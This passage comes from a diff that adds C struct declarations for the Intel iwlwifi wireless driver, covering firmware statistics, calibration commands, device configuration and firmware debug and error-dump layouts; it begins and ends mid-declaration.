agg_cnt; + __le32 unsupport_mcs; +}; + +struct statistics_rx_bt { + struct statistics_rx_phy ofdm; + struct statistics_rx_phy cck; + struct statistics_rx_non_phy_bt general; + struct statistics_rx_ht_phy ofdm_ht; +}; + +struct statistics_tx_non_phy_agg { + __le32 ba_timeout; + __le32 ba_reschedule_frames; + __le32 scd_query_agg_frame_cnt; + __le32 scd_query_no_agg; + __le32 scd_query_agg; + __le32 scd_query_mismatch; + __le32 frame_not_ready; + __le32 underrun; + __le32 bt_prio_kill; + __le32 rx_ba_rsp_cnt; +}; + +struct statistics_tx_power { + u8 ant_a; + u8 ant_b; + u8 ant_c; + u8 reserved; +}; + +struct statistics_tx { + __le32 preamble_cnt; + __le32 rx_detected_cnt; + __le32 bt_prio_defer_cnt; + __le32 bt_prio_kill_cnt; + __le32 few_bytes_cnt; + __le32 cts_timeout; + __le32 ack_timeout; + __le32 expected_ack_cnt; + __le32 actual_ack_cnt; + __le32 dump_msdu_cnt; + __le32 burst_abort_next_frame_mismatch_cnt; + __le32 burst_abort_missing_next_frame_cnt; + __le32 cts_timeout_collision; + __le32 ack_or_ba_timeout_collision; + struct statistics_tx_non_phy_agg agg; + struct statistics_tx_power tx_power; + __le32 reserved1; +}; + +struct statistics_dbg { + __le32 burst_check; + __le32 burst_count; + __le32 wait_for_silence_timeout_cnt; + __le32 reserved[3]; +}; + +struct statistics_div { + __le32 tx_on_a; + __le32 tx_on_b; + __le32 exec_time; + __le32 probe_time; + __le32 reserved1; + __le32 reserved2; +}; + +struct statistics_general_common { + __le32 temperature; + __le32 temperature_m; + struct statistics_dbg dbg; + __le32 sleep_time; + __le32 slots_out; + __le32 slots_idle; + __le32 ttl_timestamp; + struct statistics_div div; + __le32 rx_enable_counter; + __le32 num_of_sos_states; +}; + +struct statistics_bt_activity { + __le32 hi_priority_tx_req_cnt; + __le32 hi_priority_tx_denied_cnt; + __le32 lo_priority_tx_req_cnt; + __le32 lo_priority_tx_denied_cnt; + __le32 hi_priority_rx_req_cnt; + __le32 hi_priority_rx_denied_cnt; + __le32 lo_priority_rx_req_cnt; + __le32 lo_priority_rx_denied_cnt; +}; + +struct statistics_general_bt { + struct statistics_general_common common; + struct statistics_bt_activity activity; + __le32 reserved2; + __le32 reserved3; +}; + +struct iwl_bt_notif_statistics { + __le32 flag; + struct statistics_rx_bt rx; + struct statistics_tx tx; + struct statistics_general_bt general; +}; + +struct iwl_buf_alloc_frag { + __le64 addr; + __le32 size; +} __attribute__((packed)); + +struct iwl_buf_alloc_cmd { + __le32 alloc_id; + __le32 buf_location; + __le32 num_frags; + struct iwl_buf_alloc_frag frags[16]; +}; + +struct iwl_calib_cfg_elmnt_s { + __le32 is_enable; + __le32 start; + __le32 send_res; + __le32 apply_res; + __le32 reserved; +}; + +struct iwl_calib_cfg_status_s { + struct iwl_calib_cfg_elmnt_s once; + struct iwl_calib_cfg_elmnt_s perd; + __le32 flags; +}; + +struct iwl_calib_cfg_cmd { + struct iwl_calib_cfg_status_s ucd_calib_cfg; + struct iwl_calib_cfg_status_s drv_calib_cfg; + __le32 reserved1; +}; + +struct iwl_calib_hdr { + u8 op_code; + u8 first_group; + u8 groups_num; + u8 data_valid; +}; + +struct iwl_calib_chain_noise_gain_cmd { + struct iwl_calib_hdr hdr; + u8 delta_gain_1; + u8 delta_gain_2; + u8 pad[2]; +}; + +struct iwl_calib_chain_noise_reset_cmd { + struct iwl_calib_hdr hdr; + u8 data[0]; +}; + +struct iwl_calib_cmd { + struct iwl_calib_hdr hdr; + u8 data[0]; +}; + +struct iwl_calib_ctrl { + __le32 flow_trigger; + __le32 event_trigger; +}; + +struct iwl_calib_res_notif_phy_db { + __le16 type; + __le16 length; + u8 data[0]; +}; + +struct iwl_calib_result { + struct list_head list; + size_t cmd_len; + struct iwl_calib_cmd cmd; +}; + +struct iwl_calib_temperature_offset_cmd { + struct iwl_calib_hdr hdr; + __le16 radio_sensor_offset; + __le16 reserved; +}; + +struct iwl_calib_temperature_offset_v2_cmd { + struct iwl_calib_hdr hdr; + __le16 radio_sensor_offset_high; + __le16 radio_sensor_offset_low; + __le16 burntVoltageRef; + __le16 reserved; +}; + +struct iwl_calib_xtal_freq_cmd { + struct iwl_calib_hdr hdr; + u8 cap_pin1; + u8 cap_pin2; + u8 pad[2]; +}; + +struct iwl_cancel_channel_switch_cmd { + __le32 id; +}; + +struct iwl_card_state_notif { + __le32 flags; +}; + +struct iwl_causes_list { + u16 mask_reg; + u8 bit; + u8 addr; +}; + +struct iwl_cfg_trans_params { + const struct iwl_base_params *base_params; + enum iwl_device_family device_family; + u32 umac_prph_offset; + u32 xtal_latency; + u32 extra_phy_cfg_flags; + u32 rf_id: 1; + u32 gen2: 1; + u32 mq_rx_supported: 1; + u32 integrated: 1; + u32 low_latency_xtal: 1; + u32 bisr_workaround: 1; + u32 ltr_delay: 2; + u32 imr_enabled: 1; +}; + +struct iwl_fw_mon_reg { + u32 addr; + u32 mask; +}; + +struct iwl_fw_mon_regs { + struct iwl_fw_mon_reg write_ptr; + struct iwl_fw_mon_reg cycle_cnt; + struct iwl_fw_mon_reg cur_frag; +}; + +struct iwl_ht_params; + +struct iwl_eeprom_params; + +struct iwl_pwr_tx_backoff; + +struct iwl_tt_params; + +struct iwl_cfg { + struct iwl_cfg_trans_params trans; + const char *name; + const char *fw_name_pre; + const char *fw_name_mac; + const struct iwl_ht_params *ht_params; + const struct iwl_eeprom_params *eeprom_params; + const struct iwl_pwr_tx_backoff *pwr_tx_backoffs; + const char *default_nvm_file_C_step; + const struct iwl_tt_params *thermal_params; + enum iwl_led_mode led_mode; + enum iwl_nvm_type nvm_type; + u32 max_data_size; + u32 max_inst_size; + netdev_features_t features; + u32 dccm_offset; + u32 dccm_len; + u32 dccm2_offset; + u32 dccm2_len; + u32 smem_offset; + u32 smem_len; + u16 nvm_ver; + u16 nvm_calib_ver; + u32 rx_with_siso_diversity: 1; + u32 tx_with_siso_diversity: 1; + u32 internal_wimax_coex: 1; + u32 host_interrupt_operation_mode: 1; + u32 high_temp: 1; + u32 mac_addr_from_csr: 10; + u32 lp_xtal_workaround: 1; + u32 apmg_not_supported: 1; + u32 vht_mu_mimo_supported: 1; + u32 cdb: 1; + u32 dbgc_supported: 1; + u32 uhb_supported: 1; + u8 valid_tx_ant; + u8 valid_rx_ant; + u8 non_shared_ant; + u8 nvm_hw_section_num; + u8 max_tx_agg_size; + u8 ucode_api_max; + u8 ucode_api_min; + u16 num_rbds; + u32 min_umac_error_event_table; + u32 d3_debug_data_base_addr; + u32 d3_debug_data_length; + u32 min_txq_size; + u32 gp2_reg_addr; + u32 min_ba_txq_size; + const struct iwl_fw_mon_regs mon_dram_regs; + const struct iwl_fw_mon_regs mon_smem_regs; + const struct iwl_fw_mon_regs mon_dbgi_regs; +}; + +struct iwl_chain_noise_data { + u32 active_chains; + u32 chain_noise_a; + u32 chain_noise_b; + u32 chain_noise_c; + u32 chain_signal_a; + u32 chain_signal_b; + u32 chain_signal_c; + u16 beacon_count; + u8 disconn_array[3]; + u8 delta_gain_code[3]; + u8 radio_write; + u8 state; +}; + +struct iwl_chan_switch_te_cmd { + __le32 mac_id; + __le32 action; + __le32 tsf; + u8 cs_count; + u8 cs_delayed_bcn_count; + u8 cs_mode; + u8 reserved; +}; + +struct iwl_channel_switch_error_notif { + __le32 link_id; + __le32 csa_err_mask; +}; + +struct iwl_channel_switch_start_notif { + __le32 link_id; +}; + +struct iwl_channel_switch_start_notif_v1 { + __le32 id_and_color; +}; + +struct iwl_cmd_header { + u8 cmd; + u8 group_id; + __le16 sequence; +}; + +struct iwl_cmd_header_wide { + u8 cmd; + u8 group_id; + __le16 sequence; + __le16 length; + u8 reserved; + u8 version; +}; + +struct iwl_host_cmd; + +struct iwl_cmd_meta { + struct iwl_host_cmd *source; + u32 flags: 5; + u32 sg_offset: 12; + u32 tbs; +}; + +struct iwl_cmd_response { + __le32 status; +}; + +struct iwl_compressed_ba_resp { + __le32 sta_addr_lo32; + __le16 sta_addr_hi16; + __le16 reserved; + u8 sta_id; + u8 tid; + __le16 seq_ctl; + __le64 bitmap; + __le16 scd_flow; + __le16 scd_ssn; + u8 txed; + u8 txed_2_done; + __le16 reserved1; +} __attribute__((packed)); + +struct iwl_context_info_version { + __le16 mac_id; + __le16 version; + __le16 size; + __le16 reserved; +}; + +struct iwl_context_info_control { + __le32 control_flags; + __le32 reserved; +}; + +struct iwl_context_info_rbd_cfg { + __le64 free_rbd_addr; + __le64 used_rbd_addr; + __le64 status_wr_ptr; +}; + +struct iwl_context_info_hcmd_cfg { + __le64 cmd_queue_addr; + u8 cmd_queue_size; + u8 reserved[7]; +}; + +struct iwl_context_info_dump_cfg { + __le64 core_dump_addr; + __le32 core_dump_size; + __le32 reserved; +}; + +struct iwl_context_info_early_dbg_cfg { + __le64 early_debug_addr; + __le32 early_debug_size; + __le32 reserved; +}; + +struct iwl_context_info_pnvm_cfg { + __le64 platform_nvm_addr; + __le32 platform_nvm_size; + __le32 reserved; +}; + +struct iwl_context_info_dram { + __le64 umac_img[64]; + __le64 lmac_img[64]; + __le64 virtual_img[64]; +}; + +struct iwl_context_info { + struct iwl_context_info_version version; + struct iwl_context_info_control control; + __le64 reserved0; + struct iwl_context_info_rbd_cfg rbd_cfg; + struct iwl_context_info_hcmd_cfg hcmd_cfg; + __le32 reserved1[4]; + struct iwl_context_info_dump_cfg dump_cfg; + struct iwl_context_info_early_dbg_cfg edbg_cfg; + struct iwl_context_info_pnvm_cfg pnvm_cfg; + __le32 reserved2[16]; + struct iwl_context_info_dram dram; + __le32 reserved3[16]; +}; + +struct iwl_context_info_gen3 { + __le16 version; + __le16 size; + __le32 config; + __le64 prph_info_base_addr; + __le64 cr_head_idx_arr_base_addr; + __le64 tr_tail_idx_arr_base_addr; + __le64 cr_tail_idx_arr_base_addr; + __le64 tr_head_idx_arr_base_addr; + __le16 cr_idx_arr_size; + __le16 tr_idx_arr_size; + __le64 mtr_base_addr; + __le64 mcr_base_addr; + __le16 mtr_size; + __le16 mcr_size; + __le16 mtr_doorbell_vec; + __le16 mcr_doorbell_vec; + __le16 mtr_msi_vec; + __le16 mcr_msi_vec; + u8 mtr_opt_header_size; + u8 mtr_opt_footer_size; + u8 mcr_opt_header_size; + u8 mcr_opt_footer_size; + __le16 msg_rings_ctrl_flags; + __le16 prph_info_msi_vec; + __le64 prph_scratch_base_addr; + __le32 prph_scratch_size; + __le32 reserved; +} __attribute__((packed)); + +struct iwl_csa_notification { + __le16 band; + __le16 channel; + __le32 status; +}; + +struct iwl_ct_kill_config { + __le32 reserved; + __le32 critical_temperature_M; + __le32 critical_temperature_R; +}; + +struct iwl_ct_kill_throttling_config { + __le32 critical_temperature_exit; + __le32 reserved; + __le32 critical_temperature_enter; +}; + +struct iwl_wowlan_status_data; + +struct iwl_mvm_nd_results; + +struct iwl_d3_data { + struct iwl_wowlan_status_data *status; + bool test; + u32 d3_end_flags; + u32 notif_expected; + u32 notif_received; + struct iwl_mvm_nd_results *nd_results; + bool nd_results_valid; +}; + +struct iwl_d3_manager_config { + __le32 min_sleep_time; + __le32 wakeup_flags; + __le32 wakeup_host_timer; +}; + +struct iwl_datapath_monitor_notif { + __le32 type; + u8 mac_id; + u8 reserved[3]; +}; + +struct iwl_dbg_dump_complete_cmd { + __le32 tp; + __le32 tp_data; +}; + +struct iwl_dbg_suspend_resume_cmd { + __le32 operation; +}; + +struct iwl_ucode_tlv { + __le32 type; + __le32 length; + u8 data[0]; +}; + +struct iwl_dbg_tlv_node { + struct list_head list; + struct iwl_ucode_tlv tlv; +}; + +struct iwl_dbg_tlv_time_point_data { + struct list_head trig_list; + struct list_head active_trig_list; + struct list_head hcmd_list; + struct list_head config_list; +}; + +struct iwl_fw_runtime; + +struct iwl_dbg_tlv_timer_node { + struct list_head list; + struct timer_list timer; + struct iwl_fw_runtime *fwrt; + struct iwl_ucode_tlv *tlv; +}; + +struct iwl_rx_packet; + +union iwl_dbg_tlv_tp_data { + struct iwl_rx_packet *fw_pkt; +}; + +struct iwl_dbg_tlv_ver_data { + int min_ver; + int max_ver; +}; + +struct iwl_dbgc1_info { + __le32 first_word; + __le32 dbgc1_add_lsb; + __le32 dbgc1_add_msb; + __le32 dbgc1_size; +}; + +struct iwl_dev_info { + u16 device; + u16 subdevice; + u16 mac_type; + u16 rf_type; + u8 mac_step; + u8 rf_step; + u8 rf_id; + u8 no_160; + u8 cores; + u8 cdb; + u8 jacket; + const struct iwl_cfg *cfg; + const char *name; +}; + +struct iwl_dev_tx_power_common { + __le32 set_mode; + __le32 mac_context_id; + __le16 pwr_restriction; +} __attribute__((packed)); + +struct iwl_dev_tx_power_cmd_v9 { + __le16 reserved; + __le16 per_chain[10]; + u8 per_chain_restriction_changed; + u8 reserved1[3]; + __le32 timer_period; +} __attribute__((packed)); + +struct iwl_dev_tx_power_cmd_v10 { + __le16 per_chain[44]; + u8 per_chain_restriction_changed; + u8 reserved; + __le32 timer_period; + __le32 flags; +} __attribute__((packed)); + +struct iwl_dev_tx_power_cmd { + struct iwl_dev_tx_power_common common; + union { + struct iwl_dev_tx_power_cmd_v9 v9; + struct iwl_dev_tx_power_cmd_v10 v10; + }; +}; + +struct iwl_dev_tx_power_cmd_per_band { + __le16 dev_24; + __le16 dev_52_low; + __le16 dev_52_high; +}; + +struct iwl_dev_tx_power_cmd_v3 { + __le16 per_chain[10]; +}; + +struct iwl_dev_tx_power_cmd_v4 { + __le16 per_chain[10]; + u8 enable_ack_reduction; + u8 reserved[3]; +}; + +struct iwl_dev_tx_power_cmd_v5 { + __le16 per_chain[10]; + u8 enable_ack_reduction; + u8 per_chain_restriction_changed; + u8 reserved[2]; + __le32 timer_period; +}; + +struct iwl_dev_tx_power_cmd_v6 { + __le16 per_chain[44]; + u8 enable_ack_reduction; + u8 per_chain_restriction_changed; + u8 reserved[2]; + __le32 timer_period; +}; + +struct iwl_dev_tx_power_cmd_v7 { + __le16 per_chain[44]; + u8 enable_ack_reduction; + u8 per_chain_restriction_changed; + u8 reserved[2]; + __le32 timer_period; + __le32 flags; +}; + +struct iwl_dev_tx_power_cmd_v8 { + __le16 per_chain[44]; + u8 enable_ack_reduction; + u8 per_chain_restriction_changed; + u8 reserved[2]; + __le32 timer_period; + __le32 flags; + __le32 tpc_vlp_backoff_level; +}; + +struct iwl_dev_tx_power_cmd_v3_v8 { + struct iwl_dev_tx_power_common common; + struct iwl_dev_tx_power_cmd_per_band per_band; + union { + struct iwl_dev_tx_power_cmd_v3 v3; + struct iwl_dev_tx_power_cmd_v4 v4; + struct iwl_dev_tx_power_cmd_v5 v5; + struct iwl_dev_tx_power_cmd_v6 v6; + struct iwl_dev_tx_power_cmd_v7 v7; + struct iwl_dev_tx_power_cmd_v8 v8; + }; +}; + +struct iwl_device_cmd { + union { + struct { + struct iwl_cmd_header hdr; + u8 payload[320]; + }; + struct { + struct iwl_cmd_header_wide hdr_wide; + u8 payload_wide[316]; + }; + }; +}; + +struct iwl_device_power_cmd { + __le16 flags; + __le16 reserved; +}; + +struct iwl_device_tx_cmd { + struct iwl_cmd_header hdr; + u8 payload[0]; +}; + +struct iwl_dma_ptr { + dma_addr_t dma; + void *addr; + size_t size; +}; + +struct iwl_dqa_enable_cmd { + __le32 cmd_queue; +}; + +struct iwl_dram_data { + dma_addr_t physical; + void *block; + int size; +}; + +struct iwl_dram_info { + __le32 first_word; + __le32 second_word; + struct iwl_buf_alloc_cmd dram_frags[4]; +}; + +struct iwl_dram_regions { + struct iwl_dram_data drams[64]; + struct iwl_dram_data prph_scratch_mem_desc; + u8 n_regions; +}; + +struct iwl_dram_scratch { + u8 try_cnt; + u8 bt_kill_cnt; + __le16 reserved; +}; + +struct iwl_dram_sec_info { + __le32 pn_low; + __le16 pn_high; + __le16 aux_info; +}; + +struct iwl_fw_cmd_version; + +struct iwl_ucode_capabilities { + u32 max_probe_length; + u32 n_scan_channels; + u32 standard_phy_calibration_size; + u32 flags; + u32 error_log_addr; + u32 error_log_size; + u32 num_stations; + u32 num_beacons; + unsigned long _api[2]; + unsigned long _capa[2]; + const struct iwl_fw_cmd_version *cmd_versions; + u32 n_cmd_versions; +}; + +struct iwl_tlv_calib_ctrl { + __le32 flow_trigger; + __le32 event_trigger; +}; + +struct iwl_fw_dbg_dest_tlv_v1; + +struct iwl_fw_dbg_conf_tlv; + +struct iwl_fw_dbg_trigger_tlv; + +struct iwl_fw_dbg_mem_seg_tlv; + +struct iwl_fw_dbg { + struct iwl_fw_dbg_dest_tlv_v1 *dest_tlv; + u8 n_dest_reg; + struct iwl_fw_dbg_conf_tlv *conf_tlv[32]; + struct iwl_fw_dbg_trigger_tlv *trigger_tlv[17]; + size_t trigger_tlv_len[17]; + struct iwl_fw_dbg_mem_seg_tlv *mem_tlv; + size_t n_mem_tlv; + u32 dump_mask; +}; + +struct iwl_dump_exclude { + u32 addr; + u32 size; +}; + +struct iwl_fw { + u32 ucode_ver; + char fw_version[128]; + struct fw_img img[4]; + size_t iml_len; + u8 *iml; + struct iwl_ucode_capabilities ucode_capa; + bool enhance_sensitivity_table; + u32 init_evtlog_ptr; + u32 init_evtlog_size; + u32 init_errlog_ptr; + u32 inst_evtlog_ptr; + u32 inst_evtlog_size; + u32 inst_errlog_ptr; + struct iwl_tlv_calib_ctrl default_calib[4]; + u32 phy_config; + u8 valid_tx_ant; + u8 valid_rx_ant; + enum iwl_fw_type type; + u8 human_readable[64]; + struct iwl_fw_dbg dbg; + u8 *phy_integration_ver; + u32 phy_integration_ver_len; + struct iwl_dump_exclude dump_excl[2]; + struct iwl_dump_exclude dump_excl_wowlan[2]; +}; + +struct iwl_op_mode; + +struct iwl_trans; + +struct iwl_drv { + struct list_head list; + struct iwl_fw fw; + struct iwl_op_mode *op_mode; + struct iwl_trans *trans; + struct device *dev; + int fw_index; + char firmware_name[64]; + struct completion request_firmware_complete; +}; + +struct iwl_dts_measurement_cmd { + __le32 flags; +}; + +struct iwl_dts_measurement_notif_v1 { + __le32 temp; + __le32 voltage; +}; + +struct iwl_dts_measurement_notif_v2 { + __le32 temp; + __le32 voltage; + __le32 threshold_idx; +}; + +struct iwl_dts_measurement_resp { + __le32 temp; +}; + +struct iwl_dump_file_name_info { + __le32 type; + __le32 len; + __u8 data[0]; +}; + +struct iwl_dump_ini_region_data; + +struct iwl_dump_ini_mem_ops { + u32 (*get_num_of_ranges)(struct iwl_fw_runtime *, struct iwl_dump_ini_region_data *); + u32 (*get_size)(struct iwl_fw_runtime *, struct iwl_dump_ini_region_data *); + void * (*fill_mem_hdr)(struct iwl_fw_runtime *, struct iwl_dump_ini_region_data *, void *, u32); + int (*fill_range)(struct iwl_fw_runtime *, struct iwl_dump_ini_region_data *, void *, u32, int); +}; + +struct iwl_fwrt_dump_data; + +struct iwl_dump_ini_region_data { + struct iwl_ucode_tlv *reg_tlv; + struct iwl_fwrt_dump_data *dump_data; +}; + +struct iwl_dump_sanitize_ops { + void (*frob_txf)(void *, void *, size_t); + void (*frob_hcmd)(void *, void *, size_t); + void (*frob_mem)(void *, u32, void *, size_t); +}; + +struct iwl_dvm_bt_params { + bool advanced_bt_coexist; + u8 bt_init_traffic_load; + u32 bt_prio_boost; + u16 agg_time_limit; + bool bt_sco_disable; + bool bt_session_2; +}; + +struct iwl_priv; + +struct iwl_dvm_cfg { + void (*set_hw_params)(struct iwl_priv *); + int (*set_channel_switch)(struct iwl_priv *, struct ieee80211_channel_switch *); + void (*nic_config)(struct iwl_priv *); + void (*temperature)(struct iwl_priv *); + const struct iwl_dvm_bt_params *bt_params; + s32 chain_noise_scale; + u8 plcp_delta_threshold; + bool adv_thermal_throttle; + bool support_ct_kill_exit; + bool hd_v2; + bool no_idle_support; + bool need_temp_offset_calib; + bool no_xtal_calib; + bool temp_offset_v2; + bool adv_pm; +}; + +struct iwl_eeprom_calib_hdr { + u8 version; + u8 pa_type; + __le16 voltage; +}; + +struct iwl_eeprom_channel { + u8 flags; + s8 max_power_avg; +}; + +struct iwl_eeprom_enhanced_txpwr { + u8 flags; + u8 channel; + s8 chain_a_max; + s8 chain_b_max; + s8 chain_c_max; + u8 delta_20_in_40; + s8 mimo2_max; + s8 mimo3_max; +}; + +struct iwl_eeprom_params { + const u8 regulatory_bands[7]; + bool enhanced_txpower; +}; + +struct iwl_enhance_sensitivity_cmd { + __le16 control; + __le16 enhance_table[23]; +}; + +struct iwl_error_event_table { + u32 valid; + u32 error_id; + u32 trm_hw_status0; + u32 trm_hw_status1; + u32 blink2; + u32 ilink1; + u32 ilink2; + u32 data1; + u32 data2; + u32 data3; + u32 bcon_time; + u32 tsf_low; + u32 tsf_hi; + u32 gp1; + u32 gp2; + u32 fw_rev_type; + u32 major; + u32 minor; + u32 hw_ver; + u32 brd_ver; + u32 log_pc; + u32 frame_ptr; + u32 stack_ptr; + u32 hcmd; + u32 isr0; + u32 isr1; + u32 isr2; + u32 isr3; + u32 isr4; + u32 last_cmd_id; + u32 wait_event; + u32 l2p_control; + u32 l2p_duration; + u32 l2p_mhvalid; + u32 l2p_addr_match; + u32 lmpm_pmg_sel; + u32 u_timestamp; + u32 flow_handler; +}; + +struct iwl_error_event_table___2 { + u32 valid; + u32 error_id; + u32 pc; + u32 blink1; + u32 blink2; + u32 ilink1; + u32 ilink2; + u32 data1; + u32 data2; + u32 line; + u32 bcon_time; + u32 tsf_low; + u32 tsf_hi; + u32 gp1; + u32 gp2; + u32 gp3; + u32 ucode_ver; + u32 hw_ver; + u32 brd_ver; + u32 log_pc; + u32 frame_ptr; + u32 stack_ptr; + u32 hcmd; + u32 isr0; + u32 isr1; + u32 isr2; + u32 isr3; + u32 isr4; + u32 isr_pref; + u32 wait_event; + u32 l2p_control; + u32 l2p_duration; + u32 l2p_mhvalid; + u32 l2p_addr_match; + u32 lmpm_pmg_sel; + u32 u_timestamp; + u32 flow_handler; +}; + +struct iwl_error_resp { + __le32 error_type; + u8 cmd_id; + u8 reserved1; + __le16 bad_cmd_seq_num; + __le32 error_service; + __le64 timestamp; +} __attribute__((packed)); + +struct iwl_error_resp___2 { + __le32 error_type; + u8 cmd_id; + u8 reserved1; + __le16 bad_cmd_seq_num; + __le32 error_info; + __le64 timestamp; +} __attribute__((packed)); + +struct iwl_esr_trans_fail_notif { + __le32 link_id; + __le32 activation; + __le32 err_code; +}; + +struct iwl_event_log { + bool ucode_trace; + u32 num_wraps; + u32 next_entry; + int non_wraps_count; + int wraps_once_count; + int wraps_more_count; +}; + +struct iwl_ext_dts_measurement_cmd { + __le32 control_mode; + __le32 temperature; + __le32 sensor; + __le32 avg_factor; + __le32 bit_mode; + __le32 step_duration; +}; + +struct iwl_extended_beacon_notif { + __le32 status; + __le64 tsf; + __le32 ibss_mgr_status; + __le32 gp2; +} __attribute__((packed)); + +struct iwl_tx_resp { + u8 frame_count; + u8 bt_kill_count; + u8 failure_rts; + u8 failure_frame; + __le32 initial_rate; + __le16 wireless_media_time; + u8 pa_status; + u8 pa_integ_res_a[3]; + u8 pa_integ_res_b[3]; + u8 pa_integ_res_c[3]; + __le16 measurement_req_id; + u8 reduced_tpc; + u8 reserved; + __le32 tfd_info; + __le16 seq_ctl; + __le16 byte_cnt; + u8 tlc_info; + u8 ra_tid; + __le16 frame_ctrl; + __le16 tx_queue; + __le16 reserved2; + struct agg_tx_status status; +}; + +struct iwl_extended_beacon_notif_v5 { + struct iwl_tx_resp beacon_notify_hdr; + __le64 tsf; + __le32 ibss_mgr_status; + __le32 gp2; +} __attribute__((packed)); + +struct iwl_fw_dbg_dest_tlv; + +struct iwl_firmware_pieces { + struct fw_img_parsing img[4]; + u32 init_evtlog_ptr; + u32 init_evtlog_size; + u32 init_errlog_ptr; + u32 inst_evtlog_ptr; + u32 inst_evtlog_size; + u32 inst_errlog_ptr; + bool dbg_dest_tlv_init; + const u8 *dbg_dest_ver; + union { + const struct iwl_fw_dbg_dest_tlv *dbg_dest_tlv; + const struct iwl_fw_dbg_dest_tlv_v1 *dbg_dest_tlv_v1; + }; + const struct iwl_fw_dbg_conf_tlv *dbg_conf_tlv[32]; + size_t dbg_conf_tlv_len[32]; + const struct iwl_fw_dbg_trigger_tlv *dbg_trigger_tlv[17]; + size_t dbg_trigger_tlv_len[17]; + struct iwl_fw_dbg_mem_seg_tlv *dbg_mem_tlv; + size_t n_mem_tlv; +}; + +struct iwl_flush_queue_info { + __le16 tid; + __le16 queue_num; + __le16 read_before_flush; + __le16 read_after_flush; +}; + +struct iwl_frame_release { + u8 baid; + u8 reserved; + __le16 nssn; +}; + +struct iwl_ftm_responder_stats { + u8 addr[6]; + u8 success_ftm; + u8 ftm_per_burst; + __le32 flags; + __le32 duration; + __le32 allocated_duration; + u8 bw; + u8 rate; + __le16 reserved; +}; + +struct iwl_fw_channel_info { + __le32 channel; + u8 band; + u8 width; + u8 ctrl_pos; + u8 reserved; +}; + +struct iwl_fw_channel_info_v1 { + u8 band; + u8 channel; + u8 width; + u8 ctrl_pos; +}; + +struct iwl_fw_cmd_version { + u8 cmd; + u8 group; + u8 cmd_ver; + u8 notif_ver; +}; + +struct iwl_fw_dbg_conf_hcmd { + u8 id; + u8 reserved; + __le16 len; + u8 data[0]; +}; + +struct iwl_fw_dbg_conf_tlv { + u8 id; + u8 usniffer; + u8 reserved; + u8 num_of_hcmds; + struct iwl_fw_dbg_conf_hcmd hcmd; +}; + +struct iwl_fw_dbg_config_cmd { + __le32 type; + __le32 conf; +}; + +struct iwl_fw_dbg_reg_op { + u8 op; + u8 reserved[3]; + __le32 addr; + __le32 val; +}; + +struct iwl_fw_dbg_dest_tlv { + u8 version; + u8 monitor_mode; + u8 size_power; + u8 reserved; + __le32 cfg_reg; + __le32 write_ptr_reg; + __le32 wrap_count; + u8 base_shift; + u8 size_shift; + struct iwl_fw_dbg_reg_op reg_ops[0]; +} __attribute__((packed)); + +struct iwl_fw_dbg_dest_tlv_v1 { + u8 version; + u8 monitor_mode; + u8 size_power; + u8 reserved; + __le32 base_reg; + __le32 end_reg; + __le32 write_ptr_reg; + __le32 wrap_count; + u8 base_shift; + u8 end_shift; + struct iwl_fw_dbg_reg_op reg_ops[0]; +} __attribute__((packed)); + +struct iwl_fw_dbg_mem_seg_tlv { + __le32 data_type; + __le32 ofs; + __le32 len; +}; + +struct iwl_fw_dbg_params { + u32 in_sample; + u32 out_ctrl; +}; + +struct iwl_fw_dbg_trigger_ba { + __le16 rx_ba_start; + __le16 rx_ba_stop; + __le16 tx_ba_start; + __le16 tx_ba_stop; + __le16 rx_bar; + __le16 tx_bar; + __le16 frame_timeout; +}; + +struct iwl_fw_dbg_trigger_cmd { + struct cmd cmds[16]; +}; + +struct iwl_fw_dbg_trigger_low_rssi { + __le32 rssi; +}; + +struct iwl_fw_dbg_trigger_missed_bcon { + __le32 stop_consec_missed_bcon; + __le32 stop_consec_missed_bcon_since_rx; + __le32 reserved2[2]; + __le32 start_consec_missed_bcon; + __le32 start_consec_missed_bcon_since_rx; + __le32 reserved1[2]; +}; + +struct iwl_fw_dbg_trigger_mlme { + u8 stop_auth_denied; + u8 stop_auth_timeout; + u8 stop_rx_deauth; + u8 stop_tx_deauth; + u8 stop_assoc_denied; + u8 stop_assoc_timeout; + u8 stop_connection_loss; + u8 reserved; + u8 start_auth_denied; + u8 start_auth_timeout; + u8 start_rx_deauth; + u8 start_tx_deauth; + u8 start_assoc_denied; + u8 start_assoc_timeout; + u8 start_connection_loss; + u8 reserved2; +}; + +struct iwl_fw_dbg_trigger_stats { + __le32 stop_offset; + __le32 stop_threshold; + __le32 start_offset; + __le32 start_threshold; +}; + +struct iwl_fw_dbg_trigger_tdls { + u8 action_bitmap; + u8 peer_mode; + u8 peer[6]; + u8 reserved[4]; +}; + +struct iwl_fw_dbg_trigger_time_event { + struct { + __le32 id; + __le32 action_bitmap; + __le32 status_bitmap; + } time_events[16]; +}; + +struct iwl_fw_dbg_trigger_tlv { + __le32 id; + __le32 vif_type; + __le32 stop_conf_ids; + __le32 stop_delay; + u8 mode; + u8 start_conf_id; + __le16 occurrences; + __le16 trig_dis_ms; + u8 flags; + u8 reserved[5]; + u8 data[0]; +}; + +struct tx_status { + u8 status; + u8 reserved[3]; +}; + +struct iwl_fw_dbg_trigger_tx_status { + struct tx_status statuses[16]; + __le32 reserved[2]; +}; + +struct iwl_fw_error_dump_trigger_desc { + __le32 type; + u8 data[0]; +}; + +struct iwl_fw_dump_desc { + size_t len; + struct iwl_fw_error_dump_trigger_desc trig_desc; +}; + +struct iwl_fw_dump_exclude { + __le32 addr; + __le32 size; +}; + +struct iwl_trans_dump_data; + +struct iwl_fw_dump_ptrs { + struct iwl_trans_dump_data *trans_ptr; + void *fwrt_ptr; + u32 fwrt_len; +}; + +struct iwl_fw_error_dump_data { + __le32 type; + __le32 len; + __u8 data[0]; +}; + +struct iwl_fw_error_dump_fifo { + __le32 fifo_num; + __le32 available_bytes; + __le32 wr_ptr; + __le32 rd_ptr; + __le32 fence_ptr; + __le32 fence_mode; + u8 data[0]; +}; + +struct iwl_fw_error_dump_file { + __le32 barker; + __le32 file_len; + u8 data[0]; +}; + +struct iwl_fw_error_dump_fw_mon { + __le32 fw_mon_wr_ptr; + __le32 fw_mon_base_ptr; + __le32 fw_mon_cycle_cnt; + __le32 fw_mon_base_high_ptr; + __le32 reserved[2]; + u8 data[0]; +}; + +struct iwl_fw_error_dump_info { + __le32 hw_type; + __le32 hw_step; + u8 fw_human_readable[64]; + u8 dev_human_readable[64]; + u8 bus_human_readable[8]; + u8 num_of_lmacs; + __le32 umac_err_id; + __le32 lmac_err_id[2]; +} __attribute__((packed)); + +struct iwl_fw_error_dump_mem { + __le32 type; + __le32 offset; + u8 data[0]; +}; + +struct 